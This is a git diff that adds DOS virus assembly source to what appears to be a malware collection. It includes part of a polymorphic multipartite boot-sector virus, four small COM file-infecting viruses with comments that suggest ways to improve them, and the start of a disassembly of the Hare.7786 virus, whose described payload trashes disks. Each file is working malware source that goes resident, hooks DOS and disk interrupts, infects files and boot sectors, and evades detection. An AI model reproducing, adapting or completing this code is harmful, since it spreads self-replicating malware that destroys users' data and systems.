043cch +INC_BL equ 0c3feh +INCBX_INCBL_XOR equ INT3_INCBX XOR INC_BL +JMP_NO_SIGN equ 079h +JMP_NOT_ZERO equ 075h +JNS_JNZ_XOR equ JMP_NO_SIGN XOR JMP_NOT_ZERO +CLI_PUSHCS equ 00efah + +;----------------------------------------------------------------------------- + +video_seg segment at 0c000h + org 00000h +original_int_10 label word +video_seg ends + +;----------------------------------------------------------------------------- + +io_seg segment at 00070h + org 00893h +original_2f_jmp label word +io_seg ends + +;----------------------------------------------------------------------------- + + org COM_OFFSET +com_code: + +;----------------------------------------------------------------------------- + + IF POLYMORPHIC +first_decode proc near +serial_number: xor word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE + org $-REMOVE_NOP + org $-FIVE_BYTES + jmp load_it + org $+TWO_BYTES +rotated_code: int SINGLE_BYTE_INT + into + adc al,0d4h +incbl_incbx: inc bl +first_jmp: jnz serial_number + add bx,si + jns serial_number +first_decode endp + +;----------------------------------------------------------------------------- + + IF DOUBLE_DECRYPT +second_decode proc near + push si +get_next_byte: lodsw + add bx,ax + inc bx + xor byte ptr ds:[si+SECOND_UNDO_OFF],bl + org $-REMOVE_NOP + dec si +second_jmp: jns get_next_byte + pop si +second_decode endp + ENDIF + ENDIF + +;----------------------------------------------------------------------------- + +com_start proc near + IF MULTIPARTITE + push cs + pop es + call full_move_w_si + mov ds,cx + cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL] + jne dont_set_int + mov di,VIRGIN_INT_13_B + call set_both_ints + push cs + pop es + ENDIF +dont_set_int: IF CHECK_FOR_8088 + mov cl,RESIDENT_LENGTH + mov al,high(RESIZE_MEMORY) + shl ax,cl + mov bx,cx + int DOS_INT + ELSEIF MULTIPARTITE + mov bx,RESIDENT_LENGTH + mov ah,high(RESIZE_MEMORY) + int DOS_INT + ENDIF + IF EXECUTE_SPAWNED + pusha + call from_com_code+RELATIVE_OFFSET + popa + push cs + pop ds + push cs + pop es + cmpsw + mov dx,si + sub si,EXEC_SUBTRACT + org $-REMOVE_NOP + mov bx,PARAMETER_TABLE + mov di,bx + mov ax,EXEC_PROGRAM +set_table: scasw + movsb + scasb + mov word ptr ds:[di],ds + je set_table + int DOS_INT + mov ah,high(GET_ERROR_LEVEL) + int DOS_INT + mov ah,high(TERMINATE_W_ERR) + ELSEIF MULTIPARTITE + call from_com_code+RELATIVE_OFFSET + mov ax,TERMINATE_W_ERR + ENDIF + IF MULTIPARTITE + int DOS_INT + ELSE + jmp boot_load + ENDIF +com_start endp + + +;----------------------------------------------------------------------------- + +high_code proc near + mov dx,offset int_10_start+RELATIVE_OFFSET + mov bx,LOW_JMP_10-FAR_JUMP_OFFSET + call set_int_10_21 + mov bx,VIDEO_INT_ADDR-SET_INT_OFFSET +low_code: mov es,cx + mov cl,OLD_BOOT_SECTOR + mov dx,LOW_JMP_10 + call set_interrupt + mov bx,BOOT_OFFSET + pop dx + int DISK_INT + xor dh,dh + mov cl,BOOT_SECTOR + mov ax,WRITE_A_SECTOR +high_code endp + +;----------------------------------------------------------------------------- + +interrupt_13 proc far +int_13_start: IF MULTIPARTITE + mov byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl + ENDIF + cmp cx,BOOT_SECTOR + jne no_boot_sector + cmp ah,high(READ_A_SECTOR) + jne no_boot_sector + cmp dx,HD_0_HEAD_0 + jbe reread_boot +no_boot_sector: int NEW_INT_13_LOOP + jmp short return_far +reread_boot: int NEW_INT_13_LOOP + jc return_far + pusha + push ds + push es + pop ds +check_old_boot: mov ax,READ_A_SECTOR + xor dh,dh + mov cl,OLD_BOOT_SECTOR + IF ANTI_ANTIVIRUS + cmp word ptr ds:[bx],'HC' + ELSE + cmp word ptr ds:[bx],CLI_PUSHCS + ENDIF + je read_old_boot + test dl,USING_HARD_DISK + jnz encode_hd + cmp word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR + jne time_to_leave + mov dh,al + pusha + int NEW_INT_13_LOOP + cmp byte ptr ds:[bx],ch + popa + pushf + pusha + xor dh,dh + mov cl,al + int NEW_INT_13_LOOP + popa + popf + jne time_to_leave +encode_hd: mov ah,high(WRITE_A_SECTOR) + push ax + int NEW_INT_13_LOOP + pop ax + jc time_to_leave + mov di,bx + call move_code + mov cl,COM_CODE_SECTOR + IF POLYMORPHIC + xor byte ptr ds:[bx+XOR_SWAP_OFFSET],dh + org $-REMOVE_NOP + jo dont_flip_it + xchg word ptr ds:[bx+ROTATED_OFFSET],ax + org $-REMOVE_NOP + xchg ah,al + xchg word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax + org $-REMOVE_NOP + xchg word ptr ds:[bx+ROTATED_OFFSET],ax + org $-REMOVE_NOP + ENDIF +dont_flip_it: pusha + int NEW_INT_13_LOOP + popa + mov di,bx + call move_some_more + mov byte ptr ds:[bx+DH_OFFSET],dh + org $-REMOVE_NOP + mov dh,cl + inc cx + int NEW_INT_13_LOOP + jmp short check_old_boot +read_old_boot: mov dh,byte ptr ds:[bx+DH_OFFSET] + org $-REMOVE_NOP + int NEW_INT_13_LOOP +time_to_leave: pop ds + popa + clc +return_far: retf KEEP_CF_INTACT +interrupt_13 endp + +;----------------------------------------------------------------------------- + +interrupt_2f proc far + pusha + push ds + push es + push offset return_to_2f+RELATIVE_OFFSET + xor cx,cx + mov ds,cx + mov bx,SAVE_INT_CHAIN-SET_INT_OFFSET + cmp ax,WINDOWS_END + jne try_another + les dx,dword ptr ds:[bx+SET_INT_OFFSET] + jmp short set_13_chain +try_another: cmp ax,WINDOWS_BEGIN + jne another_return + mov di,VIRGIN_INT_13_B + call get_n_set_int+ONE_BYTE + les dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL] +set_13_chain: mov ax,READ_A_SECTOR + call get_set_part + mov bx,VIRGIN_INT_13_B-SET_INT_OFFSET + call set_interrupt + mov bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET) + call set_interrupt + mov ah,high(WRITE_A_SECTOR) +interrupt_2f endp + +;----------------------------------------------------------------------------- + +get_set_part proc near + pusha + push es + mov bx,SCRATCH_AREA + mov es,bx + mov dx,HD_0_HEAD_0 + inc cx + int NEW_INT_13_LOOP + mov ax,READ_A_SECTOR + int DISK_INT + pop es + popa +another_return: ret +get_set_part endp + +;----------------------------------------------------------------------------- + +return_to_2f proc near + pop es + pop ds + popa + jmp far ptr original_2f_jmp +return_to_2f endp + +;----------------------------------------------------------------------------- + +interrupt_10 proc far +int_10_start: pushf + pusha + push ds + push es + push offset a_return+RELATIVE_OFFSET +from_com_code: xor bx,bx + mov ds,bx + or ah,ah + jz set_10_back + mov ax,QUERY_FREE_HMA + int MULTIPLEX_INT + cmp bh,high(MIN_FILE_SIZE+SECTOR_SIZE) + jb another_return + mov ax,ALLOCATE_HMA + int MULTIPLEX_INT + clc + call full_move_w_di + mov dx,offset int_13_start+RELATIVE_OFFSET + call set_13_chain + mov bx,VIRGIN_INT_2F-SET_INT_OFFSET + mov dx,offset interrupt_2f+RELATIVE_OFFSET + call set_interrupt + cmp word ptr ds:[LOW_JMP_10],cx + je set_10_back + push es + push es + mov di,DOS_INT_ADDR + mov bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET + call get_n_set_int+ONE_BYTE + pop ds + mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE + call set_interrupt + mov ds,cx + mov ax,DOS_SET_INT+DOS_INT + mov dx,LOW_JMP_21 + int INT_21_IS_NOW + pop es + mov bx,dx + mov dx,offset interrupt_21+RELATIVE_OFFSET + mov word ptr ds:[bx],0b450h + mov word ptr ds:[bx+TWO_BYTES],0cd19h + mov word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW + call set_int_10_21 +set_10_back: mov di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE + mov bx,LOW_JMP_10-FAR_JUMP_OFFSET +interrupt_10 endp + +;----------------------------------------------------------------------------- + +get_n_set_int proc near + les dx,dword ptr cs:[di] + jmp short set_interrupt +set_int_10_21: mov byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP +set_interrupt: mov word ptr ds:[bx+SET_INT_OFFSET],dx + mov word ptr ds:[bx+CHANGE_SEG_OFF],es + ret +get_n_set_int endp + +;----------------------------------------------------------------------------- + + IF MULTIPARTITE +set_both_ints proc near + mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET + call get_n_set_int+ONE_BYTE + mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET + jmp short set_interrupt +set_both_ints endp + ENDIF + +;----------------------------------------------------------------------------- + + IF EXECUTE_SPAWNED +exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB + ENDIF + +;----------------------------------------------------------------------------- + + IF MODEM_CODE + org PART_OFFSET+001f3h +string db CR,'1O7=0SLMTA' + ENDIF + +;----------------------------------------------------------------------------- + + org PART_OFFSET+SECTOR_SIZE-TWO_BYTES +partition_sig dw 0aa55h + +;----------------------------------------------------------------------------- + + org PART_OFFSET+SECTOR_SIZE+TWO_BYTES +file_name db 'DA',027h,'BOYS.COM',NULL + +;----------------------------------------------------------------------------- + + org PARAMETER_TABLE + dw NULL,NULL,NULL,NULL,NULL,NULL,NULL + db NULL + +;----------------------------------------------------------------------------- + + IFE MULTIPARTITE +boot_load proc near + push cs + pop es + call full_move_w_si + mov ds,cx + cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL] + jne dont_set_intcd + lds dx,dword ptr ds:[VIRGIN_INT_13_B] + mov ax,DOS_SET_INT+NEW_INT_13_LOOP + int DOS_INT +dont_set_intcd: mov ah,high(GET_DEFAULT_DR) + int DOS_INT + call from_com_code+RELATIVE_OFFSET + mov ax,TERMINATE_W_ERR + int DOS_INT +boot_load endp + ENDIF + +;----------------------------------------------------------------------------- + + IF POLYMORPHIC +load_it proc near + mov word ptr ds:[si],FILE_SIGNATURE + mov byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF + push bx + xor ax,ax + cli + out 043h,al + in al,040h + mov ah,al + in al,040h + sti + push ax + and ax,0001eh + mov bx,ax + mov ax,word ptr ds:[bx+two_byte_table] + mov word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax + org $-REMOVE_NOP + pop ax + and ax,003e0h + mov cl,FIVE_BITS + shr ax,cl + mov bx,ax + mov al,byte ptr ds:[bx+one_byte_table] + xor al,low(INC_BL) + mov byte ptr ds:[swap_incbx_bl+THREE_BYTES],al + pop bx + jmp com_start +load_it endp + +;----------------------------------------------------------------------------- + +two_byte_table: mov al,0b2h + xor al,0b4h + and al,0d4h + les ax,dword ptr ds:[si] + les cx,dword ptr ds:[si] + les bp,dword ptr ds:[si] + adc al,0d4h + and al,084h + adc al,084h + adc al,024h + add al,084h + add al,014h + add al,024h + test dl,ah + repz stc + repnz stc + +;----------------------------------------------------------------------------- + +one_byte_table: int SINGLE_BYTE_INT + into + daa + das + aaa + aas + inc ax + inc cx + inc dx + inc bp + inc di + dec ax + dec cx + dec dx + dec bp + dec di + nop + xchg ax,cx + xchg ax,dx + xchg ax,bp + xchg ax,di + cbw + cwd + lahf + scasb + scasw + xlat + repnz + repz + cmc + clc + stc + ENDIF + +;----------------------------------------------------------------------------- + +gold_bug endp +cseg ends +end com_code diff --git a/h/HACK-83.ASM b/h/HACK-83.ASM new file mode 100755 index 0000000..3971fa7 --- /dev/null +++ b/h/HACK-83.ASM @@ -0,0 +1,92 @@ +tic segment + org 100h + assume cs:tic, ds:tic, es:tic +; +len equ offset int21-100h ;LENGTH OF VIRUS CODE +; +;THE FOLLOWING CODE MAKES THE VIRUS GO RESIDENT. TO KEEP THE INFECTION +;CODE AS SHORT AS POSSIBLE, THE INT 21 VECTOR (4 BYTES) IS SAVED OUTSIDE +;THE VIRUS BODY. THIS MAY OCCASIONALLY CAUSE THE VECTOR TO BE OVERWRITTEN +;BY THE ENVIRONMENT, WHICH WILL CRASH THE SYSTEM. TO PREVENT THIS, DEFINE +;TWO WORDS FOR THE LABEL INT21 AND ADD FOUR BYTES TO THE RESIDENT CODE. +;THE FIRST TIME THAT AN "INFECTED" FILE IS RUN, IT WILL SIMPLY RETURN TO +;DOS. THIS IS BECAUSE THE RESIDENT CODE MUST FIRST BE LOADED. AFTER THAT +;EVERYTHING WILL APPEAR TO WORK NORMALLY. TO REMEDY THIS PROBLEM, ALTER +;THE MEMORY CONTROL BLOCK TO TRAP THE RESIDENT CODE, THEN JUMP TO IT. A +;STILL BETTER SOLUTION IS TO COPY THE VIRUS TO THE TOP OF MEMORY AND +;TRAP IT THERE. ALSO, DO NOT REVECTOR INTERRUPT BUT OVERWRITE THE +;ENTRY POINT WITH A FAR JUMP TO THE VIRUS AND THEN RESTORE IT. THESE +;TECHNIQUES WILL MAKE A BETTER, THOUGH LONGER VIRUS. +; +start: mov ax,3521h ;GET INT 21 VECTOR + int 21h + mov di,offset int21 + mov [di],bx ;SAVE IT + mov [di+2],es + mov dx,offset infect + mov ah,25h + int 21h ;REVECTOR TO VIRUS + mov dx,di + int 27h ;GO RESIDENT +; +;THIS IS THE ACTUAL INFECTION CODE. IT CHECKS FOR THE EXEC FUNCTION THEN +;TRIES TO RUN THE PROCESS AS AN EXE. IF THIS FAILS, THE VIRUS KNOWS THAT +;IT REALLY WAS A COM PROGRAM, IN WHICH CASE IT SIMPLY LETS THE CALL GO +;THROUGH. OTHERWISE A SHADOW COM FILE IS (RE)CREATED, "INFECTING" THE +;EXE. THE HIDDEN ATTRIBUTE IS SET ON THE SHADOW FILE. TO KEEP THESE FILES +;VISIBLE, SET CX TO 0 INSTEAD OF 2. +;NOTE: UNDER DOS 5.0, REGISTERS ES AND DS ARE SAME WHEN THE EXEC CALL +;IS ISSUED. SETTING ES TO DS IS ONLY NECESSARY TO MAKE THE VIRUS RUN UNDER +;DOS 3.X. OTHERWISE YOU CAN ELIMINATE THESE INSTRUCTIOS, BRINGING THE VIRUS +;BACK TO JUST 79 BYTES. +; +infect: cmp ax,4b00h ;EXEC? + jne interrupt ;IF NOT, CONTINUE INTERRUPT + push ax ;KEEP FUNCTION CALL + push es ;KEEP ES + push ds ;SET ES TO DS + pop es + mov di,dx ;SCAN TO EXT + mov al,'.' + repne scasb + push di ;POINTER TO EXT + mov ax,'XE' ;TRY TO RUN AS .EXE + stosw + stosb + pop di ;RETREIVE POINTER TO EXT + pop es ;RESTORE ES FOR EXEC + pop ax ;GET FUNCTION + push ax ;KEEP IT + push dx ;KEEP POINTER TO PROCESS NAME + pushf ;DO INTERRUPT + push cs + call interrupt + mov ax,'OC' ;CHANGE EXT TO COM + stosw + mov al,'M' + stosb + pop dx ;CLEAR STACK + pop ax + jc interrupt ;WASN'T .EXE SO JUST CONTINUE + mov cx,2 + mov ah,3ch ;CREATE SHADOW .COM FILE + int 21h + xchg bx,ax ;GET HANDLE + push cs ;WRITE VIRUS TO .COM FILE + pop ds ;SEGMENT OF VIRUS CODE + mov cl,len + mov dx,si ;=0100 HEX + mov ah,40h ;WRITE VIRUS AND EXIT +; +interrupt: + db 0eah ;FAR JUMP +int21: ;VECTOR GOES HERE +; +tic ends + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/h/HACK-RES.ASM b/h/HACK-RES.ASM new file mode 100755 index 0000000..3dd8dbc --- /dev/null +++ b/h/HACK-RES.ASM @@ -0,0 +1,83 @@ +tic segment + org 100h + assume cs:tic, ds:tic, es:tic +; +len equ offset int21-100h ;LENGTH OF VIRUS CODE +; +start: mov ax,9000h ;MOVE VIRUS CODE UP + mov es,ax + mov di,si + mov cx,len + rep movsb + mov ds,cx ;DS = 0 + mov si,84h ;INT 21 VECTOR + mov di,offset int21 + push di + mov dx,offset infect + lodsw ;SAVE ORIGINAL VECTOR + cmp ax,dx ;VIRUS PROBABLY ALREADY RESIDENT + je exit + stosw + lodsw + stosw + push es + pop ds + mov ax,2521h ;REVECTOR TO VIRUS + int 21h +exit: push cs ;RESTORE SEGMENT REGISTERS + pop ds + push cs + pop es + pop si ;SI = END OF VIRUS CODE + mov di,0fch + push di ;RETURN HERE + mov ax,0aaach ;LODSB/STOSB INSTRUCTIONS + stosw + mov ax,0fce2h ;LOOP TO ADDRESS INSTRUCTIONS + stosw + mov ch,0feh + ret ;MOVE CODE AND RUN PROGRAM +; +infect: pushf + push ax + push cx + push dx + push si + push ds + cmp ah,40h ;WRITE FUNC? + jne done + cmp bx,1 + je mes + mov si,dx ;DS:DX = WRITE BUFFER + lodsb + cmp al,0b8h ;ALREADY INFECTED? + je done + cmp al,0ebh ;PROBABLY .COM + jne done + mov cx,len ;LENGTH OF VIRUS + mov dh,1 ;DX ASSUMED TO BE 0 +hack: push cs + pop ds + pushf + call cs:[int21] ;WRITE VIRUS +done: pop ds + pop si + pop dx + pop cx + pop ax + popf ;CONTINUE INTERRUPT + jmp cs:[int21] +mes: mov cx,12 + mov dx,offset string + jmp short hack +string db ' (H*ck-tic) ' +; +int21 dd 0c3h ;STANDALONE VIRUS RETURNS +tic ends + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/h/HACKTIC.ASM b/h/HACKTIC.ASM new file mode 100755 index 0000000..f182ebe --- /dev/null +++ b/h/HACKTIC.ASM @@ -0,0 +1,70 @@ +tic segment + org 100h + assume cs:tic, ds:tic, es:tic + +len equ offset last-100h + +start: mov si,0100h + push si + mov ax,cs + add ah,10h + mov es,ax + xor di,di + mov cx,len + rep movsb + mov dx,0FE00h + mov ah,1Ah + int 21h + mov dx,offset file + mov ah,4Eh + jmp short find +retry: mov ah,3Eh + int 21h + mov ah,4Fh +find: push cs + pop ds + int 21h + mov cx,0FE1Eh + jc nofile + mov dx,cx + mov ax,3D02h + int 21h + xchg ax,bx + push es + pop ds + mov dx,di + mov ah,3Fh + int 21h + add ax,len + cmp byte ptr [di], 0BEh + je retry + push ax + xor cx,cx + mov ax,4200h + cwd + int 21h + pop cx + mov ah,40h + int 21h + jmp short retry + +nofile: push cs + pop es + mov bl,0FCh + mov [bx],0AAACh + mov [bx+2],0FCE2h + pop di + push bx + ret + +file db '*.COM',0 +last db 0C3h + +tic ends + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/h/HACKTIC2.ASM b/h/HACKTIC2.ASM new file mode 100755 index 0000000..bed2f45 --- /dev/null +++ b/h/HACKTIC2.ASM @@ -0,0 +1,63 @@ +tic segment + org 100h + assume cs:tic, ds:tic, es:tic +; +len equ offset last-100h ;LENGTH OF VIRUS CODE +; +start: mov bx,0fh ;KLUDGE TO AVOID MEMALLOC ERROR + mov ah,4ah + int 21h + mov dx,es + add dh,10h + mov es,dx ;PROGRAM CODE WILL RUN HERE + push dx ;SET UP FOR FAR RETURN + push si + mov ah,26h ;CREATE NEW PSP + int 21h + mov di,si + mov si,offset last + push si + mov ch,0feh + rep movsb ;MOVE PROGRAM CODE UP + dec cx ;=FFFF + pop di + mov dx,offset file + mov ah,4eh ;FIND FIRST .COM FILE + jmp short find +retry: mov ah,4fh ;FIND NEXT +find: int 21h + jc nofile ;NO (MORE) FILES + mov dx,9eh ;FILE NAME IN DTA + mov ax,3d02h ;OPEN FILE + int 21h + xchg ax,bx ;1-BYTE MOVE OF AXBX + mov dx,di ;END OF VIRUS CODE + mov ah,3fh ;READ FILE DATA (CX=FFFF) + int 21h ;READ FILE AFTER VIRUS CODE + add ax,len ;LENGTH OF VIRUS+FILE + cmp byte ptr [di],0bbh ;CHECK IF ALREADY INFECTED + je retry ;TRY AGAIN + push ax + xor cx,cx + mov ax,4200h ;RESET FILE POINTER + cwd ;DX=0 + int 21h + pop cx + mov dh,1 + mov ah,40h ;WRITE INFECTED CODE BACK + int 21h +; +nofile: push es ;GO RUN PROGRAM + pop ds + retf +; +file db '*.COM',0 ;SEARCH FOR .COM FILES +last db 0c3h ;STANDALONE VIRUS CODE JUST RETURNS +tic ends + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/h/HARE.ASM b/h/HARE.ASM new file mode 100755 index 0000000..b25e96e --- /dev/null +++ b/h/HARE.ASM @@ -0,0 +1,5548 @@ +;============================================================================ +; +; HDEuthanasia-v3 by Demon Emperor. +; +; Disassembly of the Hare.7786 virus. +; +; Source: 103k +; +; Disassembly was done by T-2000 / Invaders. +; +; April 1998 / May 1998. +; +; Very stupid written! MUCH double, triple code, unstructured programming, +; different variables used. +; +; Full stealth polymorphic multipartite virus. +; +; +; I guess da source is 70% reconstructed, the rest is kinda hard to do, +; So I don't think that I will complete it (I got better things tha do). +; Also please don't blame me for the pretty lame disassembly, I released +; it only Bcoz I haven't seen any other disasms of Hare. I U decide to +; finish the rest of the disassembly, I would appreciate if U gave me a +; copy. +; +; Demon Emperor seems to have a great knowledge about Win95, he introduced +; several interresting techniques. It's a shame though, that the virus +; has a bunch of shortcomings, these are: +; +; - It doesn't pad the polymorphic code (different filesizes). +; - Shoddy programming: It could loose a lot of weight (bytes), if +; the author has used flexible routines. +; +; +; Some improvements: +; +; - INT 16h: also hook INT 10h, and don't allow writes to the screen, +; turn-off PC-speaker. +; +; +; +; TARGETS: 1st harddisk & 1.44M diskettes. +; PAYLOAD: Message & disktrashing. +; ENCRYPTION: Slow polymorphic. +; STATUS: In the wild. +; +; +; Assemble with TASM 3.2 (or compatible). +; +; TASM hare.asm /m +; +; *** = Bug report/remark (actually too many to write down). +; +;============================================================================ + + +; The following equates show data references outside the range of the program. + +DATA_24E EQU 7C16H ;* +DATA_25E EQU 7DBEH ;* +Virus_Size EQU (OFFSET Virus_End - OFFSET Virus_Begin) + + + .MODEL TINY ; (hmmm... not really!). + .STACK 1024 + .CODE + +Virus_Begin: +START: + + MOV SI, 0 ; Delta offset. + ORG $-2 +Padding DW 0 + + CLD + STI + + MOV CX, 0F2Ch ; Decrypt second layer. + MOV DI, OFFSET Layer_2 ; (slightly polymorphic). + ADD DI, SI +Decrypt_2: + ;NOT WORD PTR CS:[DI] + nop + nop +Key_2: nop + + INC DI + INC DI + LOOP Decrypt_2 +Layer_2: + MOV AX, 0FE23h ; Residency-check. + INT 21h + + CMP AX, 0Dh ; Are we already resident? + + PUSH SI + PUSH DS + + JNE Decrypt_Layer_3 + + JMP Exec_Host + +Decrypt_Layer_3: + + MOV AL, 0 + ORG $-1 +Key_3 DB 0 + OR AL, AL + JZ Make_Resident + + MOV AH, AL + ADD AH, 01h + MOV CX, 0E65h + MOV DI, OFFSET NewInt01h + ADD DI, SI + +LOCLOOP_6: + XOR CS:[DI], AX + INC DI + INC DI + ADD AL, 2 + ADD AH, 2 + LOOP LOCLOOP_6 + +Make_Resident: + INT 12h ; Get total DOS-memory in AX. + + MOV CL, 6 + SHL AX, CL ; Convert to segment-address. + + DEC AX + MOV ES, AX + + CMP ES:[8], 'CS' ; Systemcode? + JE Find_Last_MCB +LOC_8: + MOV AH, 52h ; Get list of lists. + INT 21h + + MOV AX, ES:[BX-2] ; Get 1st MCB. + +Find_Last_MCB: MOV ES, AX + + CMP BYTE PTR ES:[0], 'Z' ; Last block? + JE Last_MCB_Found + + MOV AX, ES:[3] ; Get total memory in MCB. + INC AX ; Plus size MCB (10h bytes). + MOV BX, ES + ADD AX, BX ; Current MCB + total mem. + JMP Find_Last_MCB + +Last_MCB_Found: + + MOV AX, ES:[3] ; Get total memory in MCB. + SUB AX, (8912 / 16) ; Subtract our needed mem. + JC LOC_8 + + MOV ES:[3], AX ; Put it back. + INC AX ; Plus size MCB. + MOV BX, ES + ADD AX, BX + MOV ES, AX + + POP DS ; DS:SI = Entrypoint virus. + POP SI + + PUSH SI + PUSH DS + + PUSH CS + POP DS + + MOV CX, Virus_Size ; Copy virus to virussegment. + XOR DI, DI + CLD + REP MOVSB + + PUSH ES ; JMP to relocated virus. + MOV AX, OFFSET Relocated + PUSH AX + RETF + +; +; 0 = No +; 1 = Yes +; +; Bits: +; 0 +; 1 Disable stealth. +; 2 Windows 95/NT running. +; 3 +; 4 +; 5 +; 6 +; 7 Windows 95/NT running. +; + +Relocated: + MOV CS:Flags, CL ; Clear Flags variable. + + MOV AX, 160Ah ; Identify Windows version + INT 2Fh ; and type. + + OR AX, AX ; Function accepted? + JNZ Bad_Windows + + CMP CX, 03h ; Enhanched version running? + JB Bad_Windows + + OR BYTE PTR CS:Flags, 10000000b + +Bad_Windows: CALL Check_Poly_Sector + CALL Infect_Harddisk + + PUSH CS + POP DS + + MOV AH, 52h ; List of lists. + INT 21h + + MOV AX, ES:[BX-2] ; Get 1st MCB in AX. + MOV First_MCB, AX ; Save it for the tracer. + + MOV BYTE PTR Trace_Function, 19h ; Get free diskspace. + MOV BYTE PTR Fake_PUSHF, 00h + MOV byte ptr Trace_Done, 01h + + MOV AX, 3521h ; Get address INT 21h. + INT 21h + + MOV Int21h, BX ; Save INT 21h. + MOV Int21h+2, ES + + MOV Trace_Int, BX ; Find entrypoint. + MOV Trace_Int+2, ES + CALL Tracer + + CLD ; Replace address INT 21h + MOV SI, OFFSET Trace_Int ; with traced address. + MOV DI, OFFSET Traced_Int21h + MOVSW + MOVSW + + XOR AX, AX ; Hook INT 21h. + MOV DS, AX + + MOV DS:[21h * 4], OFFSET NewInt21h + MOV DS:[21h * 4 + 2], CS + + CALL SUB_56 + CALL Del_PortDriver + + POP ES ; ES:DI = Virus entrypoint. + POP SI + + XOR SI, SI + + PUSH SI + PUSH ES + +Exec_Host: + POP ES + POP SI + + PUSH ES + POP DS + + PUSH DS + + CMP BYTE PTR CS:[SI+Host_Type], 01h + JE Exec_EXE + + ADD SI, OFFSET Old_Entry + MOV DI, 100h + PUSH DI + CLD + + PUSH CS + POP DS + + MOVSW ; Restore original 3 bytes + MOVSB ; in da .COM-file. + + PUSH ES + POP DS + CALL Clear_Registers + RETF + +Exec_EXE: + MOV AX, CS:[SI+Old_Entry+2] + POP BX + + ADD BX, 10h ; Plus size PSP. + ADD AX, BX ; Add effective segment. + MOV CS:[SI+JMP_Host+2], AX ; Store it in the code. + MOV AX, CS:[SI+Old_Entry] + + MOV CS:[SI+JMP_Host], AX + ADD CS:[SI+Old_Stack+2], BX + + CALL Clear_Registers ; Clear registers & flags. + + MOV SS, CS:[SI+Old_Stack+2] + MOV SP, CS:[SI+Old_Stack] + + + DB 0EAh ; JMP to host. +JMP_Host DW 0, 0 + +Traced_Int21h DW 0, 0 +Int21h DW 0, 0 + +JMP_COM DB 90h ; JMP to virus in .COM-file. + DW 0 + + +Host_COM_JMP: + +Old_Entry DW OFFSET Carrier, 0 +Old_Stack DW 0, 0 +Old_Mod512 DW 30h +Old_Byte_Pages DW 2 +FileTime DW 9AA0h +Host_Type DB 01h +Temp1 DW 1E6Ah, 3 +Trace_Int DW 9AA0h, 2498h +First_MCB DW 253h +Trace_Done DB 0 +Fake_PUSHF DB 0 +CodeSegment DW 0 +Int1Ch DW 0, 0 +Flags DB 0 +PSP_Segment DW 0 +Free_Clusters DW 0 +Trace_Function DB 3 + + +Clear_Registers: + + XOR AX, AX + + PUSH AX ; Clear all flags (also TF). + POPF + + STI + + MOV CX, AX ; Clear registers. + MOV DI, AX + MOV BP, AX + MOV DX, AX + MOV BX, AX + + RETN + + + +NewInt01h: + PUSH AX + PUSH BX + PUSH BP + PUSH DS + MOV BP, SP + + MOV AX, [BP+10] ; AX = CS. + MOV BX, [BP+08] ; BX = IP. + + MOV CS:CodeSegment, CS + + CMP AX, CS:CodeSegment + JE Exit_Int01h + + CALL Check_Opcode + + CMP AX, 0F000h + JNB LOC_14 + + CMP AX, CS:First_MCB ; In DOS-segment? + JA Exit_Int01h ; Continue tracing when not. +LOC_14: + AND CS:Trace_Done, 00000001b + JZ Exit_Int01h + + MOV CS:Trace_Done, 00h + MOV CS:Trace_Int+2, AX ; Store segment. + MOV AX, [BP+8] + MOV CS:Trace_Int, AX ; Store offset. + +Exit_Int01h: + POP DS + POP BP + POP BX + POP AX + + CMP CS:Fake_PUSHF, 1 + JE LOC_16 + + IRET + +LOC_16: + MOV CS:Fake_PUSHF, 0 + + RETF + + +Tracer: + MOV AX, 3501h ; Get INT 01h address. + INT 21h + + MOV Temp1, BX ; Save INT 01h address. + MOV Temp1+2, ES + MOV DX, OFFSET NewInt01h + + MOV AH, 25h ; Hook INT 01h. + INT 21h + + XOR DL, DL + + PUSHF + POP AX + OR AX, 100h ; Turn TF on. + PUSH AX + POPF + + MOV AH, Trace_Function + + PUSHF ; Trace the function. + CALL DWORD PTR Trace_Int + + PUSHF + POP AX + AND AX, NOT 100h ; Single-step mode off. + PUSH AX + POPF + + LDS DX, DWORD PTR Temp1 ; Restore INT 01h. + MOV AX, 2501h + INT 21h + + PUSH CS + PUSH CS + POP ES + POP DS + + RETN + +Check_Opcode: + PUSH AX + MOV DS, AX + MOV AL, [BX] + + CMP AL, 9Dh ; Next instruction POPF ? + JNE LOC_17 + + OR [BP+0CH], 100h ; Set TF in flags on stack. + JMP LOC_18 + NOP +LOC_17: + CMP AL,9Ch ; PUSHF ? + JNE LOC_18 + + INC WORD PTR [BP+8] + MOV CS:Fake_PUSHF,1 +LOC_18: + POP AX + RETN + + +SUB_4: + MOV AH, 04h ; Get clock. + INT 1Ah + + TEST DH, 00001000b + JZ Luck_4_User + + CMP DL, 22h ; Trigger-date? + JE Payload + +Luck_4_User: + RETN + +PayLoad: + MOV AX, 03h ; Clear the screen. + INT 10h + + MOV SI, OFFSET Message ; 